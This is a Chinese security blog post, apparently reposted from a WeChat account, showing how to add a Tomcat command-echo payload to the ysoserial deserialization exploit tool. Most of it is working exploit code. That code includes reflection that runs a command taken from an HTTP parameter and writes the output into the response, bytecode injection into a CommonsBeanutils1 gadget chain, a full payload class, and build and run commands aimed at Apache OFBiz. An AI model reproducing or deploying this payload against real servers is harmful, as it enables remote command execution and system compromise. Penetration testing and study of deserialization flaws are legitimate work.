0x00 前言
之前的文章讲过了ysoserial工具架构和Tomcat半回显方法即利用ApplicationFilterChain实现。
这里看看怎么将这种半通用回显方法添加到ysoserial中。
0x01 添加payload
回忆下,要将自定义的payload添加到ysoserial的payloads包中时,需要满足:
-
自定义的payload类必须实现ObjectPayload接口类且必须重写其getObject()函数;
-
需要在main()函数中添加PayloadRunner测试方法;
这里以CommonsBeanutils1这条利用链为例,其他Gadget改造方法一样的。
简单地说就是把原本这条Gadget中直接通过Runtime.getRuntime().exec()来执行cmd命令换成我们的ApplicationFilterChain半回显代码来执行即可。
参考之前的文章中的半回显方法的代码,把代码中泛型部分去掉、将类名写成完整的类名以及添加小部分的类型转换,具体代码如下:
// 获取ApplicationDispatcher类的WRAP_SAME_OBJECT声明字段
// 和ApplicationFilterChain类的lastServicedRequest与lastServicedResponse声明字段
java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field lastServicedRequestField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponseField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
// 获取Field类的modifiers声明字段
java.lang.reflect.Field modifiersField = java.lang.reflect.Field.class.getDeclaredField("modifiers");
// 添加访问权限才能访问私有属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
modifiersField.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
// 清除代表final的那个bit,才能成功修改static final
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);
// 获取当前WRAP_SAME_OBJECT_FIELD的值
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
// 尝试获取当前lastServicedRequest和lastServicedResponse的值
// 如果不是第一次访问该接口则为非null
ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);
ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);
// 非null就可以直接获取URL参数cmd
String cmd = lastServicedRequest != null ? ((javax.servlet.ServletRequest) lastServicedRequest.get()).getParameter("cmd") : null;
if (cmd != null) {
System.out.println("[*]获取到请求的cmd参数: " + cmd);
}
// 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改
// 也未新建lastServicedRequest与lastServicedResponse实例
if (!WRAP_SAME_OBJECT || lastServicedRequest == null || lastServicedResponse == null) {
System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true");
// 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponse
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
// 新建lastServicedRequest和lastServicedResponse实例,避免默认null导致报错
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
} else if (cmd != null) {
// 执行cmd命令并添加到Response中回显
System.out.println("[*]WRAP_SAME_OBJECT的值已为true且存在cmd参数");
// 获取保存到lastServicedResponse中的ServletResponse
javax.servlet.ServletResponse servletResponse = (javax.servlet.ServletResponse) lastServicedResponse.get();
java.io.PrintWriter printWriter = servletResponse.getWriter();
// 获取ResponseFacade类的response声明字段,通过其获取ServletResponse里的Response对象
java.lang.reflect.Field responseField = org.apache.catalina.connector.ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) responseField.get(servletResponse);
// 反射修改Response对象的usingWriter声明字段为false,告诉程序未调用getWriter()
// 不加这段代码也能成功回显命令执行结果,但会报错显示当前Response已调用getWriter()
// 这是因为后续会调用Response的getOutputStream(),该函数和getWriter()是互相排斥的
// 但可通过反射修改usingWriter标志使得程序认为未调用getWriter()而跳过抛出异常的逻辑
java.lang.reflect.Field usingWriterField = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter");
usingWriterField.setAccessible(true);
usingWriterField.set(response, Boolean.FALSE);
// 判断当前OS类型
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
// 执行命令并将结果写入ServletResponse的PrintWriter中
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
java.io.InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\a");
String output = scanner.hasNext() ? scanner.next() : "";
printWriter.write(output);
printWriter.flush();
}
接着在ysoserial/payloads/util/Gadgets类中添加自定义实现的两个createTomcatApplicationFilterChainTemplatesImpl()方法,具体说明看注释:
// 从ysoserial命令行传参的为指定URL参数名称
public static Object createTomcatApplicationFilterChainTemplatesImpl( final String param_name ) throws Exception {
// 默认URL参数名为cmd
String param = param_name.equals("") ? "cmd" : param_name;
// 将回显代码和URL参数名进行拼接
String echo_code = "// 获取ApplicationDispatcher类的WRAP_SAME_OBJECT声明字段n" +
"// 和ApplicationFilterChain类的lastServicedRequest与lastServicedResponse声明字段n" +
"java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");n" +
"java.lang.reflect.Field lastServicedRequestField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");n" +
"java.lang.reflect.Field lastServicedResponseField = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");n" +
"n" +
"// 获取Field类的modifiers声明字段n" +
"java.lang.reflect.Field modifiersField = java.lang.reflect.Field.class.getDeclaredField("modifiers");n" +
"n" +
"// 添加访问权限才能访问私有属性n" +
"WRAP_SAME_OBJECT_FIELD.setAccessible(true);n" +
"modifiersField.setAccessible(true);n" +
"lastServicedRequestField.setAccessible(true);n" +
"lastServicedResponseField.setAccessible(true);n" +
"n" +
"// 清除代表final的那个bit,才能成功修改static finaln" +
"modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ java.lang.reflect.Modifier.FINAL);n" +
"modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);n" +
"modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~ java.lang.reflect.Modifier.FINAL);n" +
"n" +
"// 获取当前WRAP_SAME_OBJECT_FIELD的值n" +
"boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);n" +
"n" +
"// 尝试获取当前lastServicedRequest和lastServicedResponse的值n" +
"// 如果不是第一次访问该接口则为非nulln" +
"ThreadLocal lastServicedRequest = (ThreadLocal) lastServicedRequestField.get(null);n" +
"ThreadLocal lastServicedResponse = (ThreadLocal) lastServicedResponseField.get(null);n" +
"n" +
"// 非null就可以直接获取URL参数cmdn" +
"String cmd = lastServicedRequest != null ? ((javax.servlet.ServletRequest) lastServicedRequest.get()).getParameter("" + param + "") : null;n" +
"if (cmd != null) {n" +
" System.out.println("[*]获取到请求的cmd参数: " + cmd);n" +
"}n" +
"n" +
"// 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改n" +
"// 也未新建lastServicedRequest与lastServicedResponse实例n" +
"if (!WRAP_SAME_OBJECT || lastServicedRequest == null || lastServicedResponse == null) {n" +
" System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true");n" +
" // 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponsen" +
" WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);n" +
"n" +
" // 新建lastServicedRequest和lastServicedResponse实例,避免默认null导致报错n" +
" lastServicedRequestField.set(null, new ThreadLocal());n" +
" lastServicedResponseField.set(null, new ThreadLocal());n" +
"} else if (cmd != null) {n" +
" // 执行cmd命令并添加到Response中回显n" +
"n" +
" System.out.println("[*]WRAP_SAME_OBJECT的值已为true且存在cmd参数");n" +
"n" +
" // 获取保存到lastServicedResponse中的ServletResponsen" +
" javax.servlet.ServletResponse servletResponse = (javax.servlet.ServletResponse) lastServicedResponse.get();n" +
" java.io.PrintWriter printWriter = servletResponse.getWriter();n" +
"n" +
" // 获取ResponseFacade类的response声明字段,通过其获取ServletResponse里的Response对象n" +
" java.lang.reflect.Field responseField = org.apache.catalina.connector.ResponseFacade.class.getDeclaredField("response");n" +
" responseField.setAccessible(true);n" +
" org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) responseField.get(servletResponse);n" +
"n" +
" // 反射修改Response对象的usingWriter声明字段为false,告诉程序未调用getWriter()n" +
" // 不加这段代码也能成功回显命令执行结果,但会报错显示当前Response已调用getWriter()n" +
" // 这是因为后续会调用Response的getOutputStream(),该函数和getWriter()是互相排斥的n" +
" // 但可通过反射修改usingWriter标志使得程序认为未调用getWriter()而跳过抛出异常的逻辑n" +
" java.lang.reflect.Field usingWriterField = org.apache.catalina.connector.Response.class.getDeclaredField("usingWriter");n" +
" usingWriterField.setAccessible(true);n" +
" usingWriterField.set(response, Boolean.FALSE);n" +
"n" +
" // 判断当前OS类型n" +
" boolean isLinux = true;n" +
" String osType = System.getProperty("os.name");n" +
" if (osType != null && osType.toLowerCase().contains("win")) {n" +
" isLinux = false;n" +
" }n" +
"n" +
" // 执行命令并将结果写入ServletResponse的PrintWriter中n" +
" String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};n" +
" java.io.InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();n" +
" java.util.Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\a");n" +
" String output = scanner.hasNext() ? scanner.next() : "";n" +
" printWriter.write(output);n" +
" printWriter.flush();n" +
"}";
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTomcatApplicationFilterChainTemplatesImpl(
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"),
echo_code);
}
return createTomcatApplicationFilterChainTemplatesImpl(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, echo_code);
}
public static <T> T createTomcatApplicationFilterChainTemplatesImpl( Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory, String echo_code ) throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
// String cmd = "java.lang.Runtime.getRuntime().exec("" +
// command.replaceAll("\\","\\\\").replaceAll(""", "\"") +
// "");";
// clazz.makeClassInitializer().insertAfter(cmd);
// 这里替换上述原本的Runtime直接执行命令为执行我们的回显代码
clazz.makeClassInitializer().insertAfter(echo_code);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
然后新建CB1TomcatApplicationFilterChainEcho类,参考CommonsBeanutils1类,直接修改下重写的getObject()函数中调用Gadgets.createTomcatApplicationFilterChainTemplatesImpl()函数来获取新的TemplatesImpl类对象:
package ysoserial.payloads;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.math.BigInteger;
import java.util.PriorityQueue;
public class CB1TomcatApplicationFilterChainEcho implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTomcatApplicationFilterChainTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CB1TomcatApplicationFilterChainEcho.class, args);
}
}
最后,打包成新的jar包:
mvn clean package -DskipTests
0x02 Ofbiz回显利用
运行新编译生成的ysoserial工具,指定payload类为自定义的CB1TomcatApplicationFilterChainEcho类,其中参数为名为param的URL参数:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CB1TomcatApplicationFilterChainEcho "param" | base64 | tr -d "n"
成功回显:
0x03 参考
https://github.com/kingkaki/ysoserial
原文始发于微信公众号(98KSec):ysoserial系列之添加Tomcat半通用回显payload
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论